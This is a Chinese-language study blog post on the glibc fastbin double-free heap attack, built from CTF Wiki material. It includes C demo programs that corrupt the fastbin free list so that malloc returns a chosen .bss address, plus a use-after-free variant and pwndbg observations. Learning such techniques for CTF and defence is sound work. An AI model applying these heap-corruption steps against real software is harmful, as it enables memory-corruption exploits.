堆溢出----Fastbin Attack

学习资料：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/

https://www.anquanke.com/post/id/85357

之前稍微了解了一波Use After Free ，运用了fastbin，这次继续学一下fastbin的其他攻击方式，希望能学会吧

简单的介绍如下，图片来自CTFWIKI

Use After Free还是要派上用场的，不错欸

其实Fastbin Attack最精髓的地方就是每一块在fastbin中的堆被释放以后会放在一个链表中，而且free之后，size的prev_inuse标志位不会被清空哦

下面开始学(zhao)习(nue)啦

1.Fastbin Double Free

字面意思就是chunk可以多次释放

看一下是个什么鬼

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);
    return 0;
}

哇，连续释放两次chunk1，不会报错么，继续执行下去了，原因就是指针main_arena，这个就要涉及到arena的管理了，和线程个数有关

主线程使用main_arena，看一下main_arena的变化过程吧，如下

emmmm，不细说了吧，看得懂，主要就是利用了main_arena的检测机制，悄悄的漏过去了

注意因为 chunk1 被再次释放因此其 fd 值不再为 0 而是指向 chunk2，这时如果我们可以控制 chunk1 的内容，便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块，能改就出事啦，基本就是这么个操作

看一个具体的操作

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

用pwndbg动态调试一波

我们先执行两个chunk的malloc

第一次释放chunk1和chunk2之后，chunk2的fd指向chunk1，但chunk1的bk不指向chunk2，也侧面验证了fastbin是单链表

然后第二次free chunk1

你看，我们躲避main_arena的检查，double free之后，改变fastbin单链表里的指针

接下来malloc给chunk_a原先chunk1的堆空间，然后赋给了它bss字段0x601080

然后两次malloc不变，先是分配chunk2，然后再次分配chunk1，接着再分配chunk_b时，chunk_b的地址就变为了0x601080

那我们就成功修改了指向的堆，并能输出数据

理完之后，感觉有点强行的意思，想试试看use after free的操作能不能直接输出bss字段

改后的代码如下

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;

    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    //free(chunk1);

    malloc(0x10);
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

然后我们两次malloc，两次free，再两次malloc之后，可以看到，chunk1的fd又指向了bss字段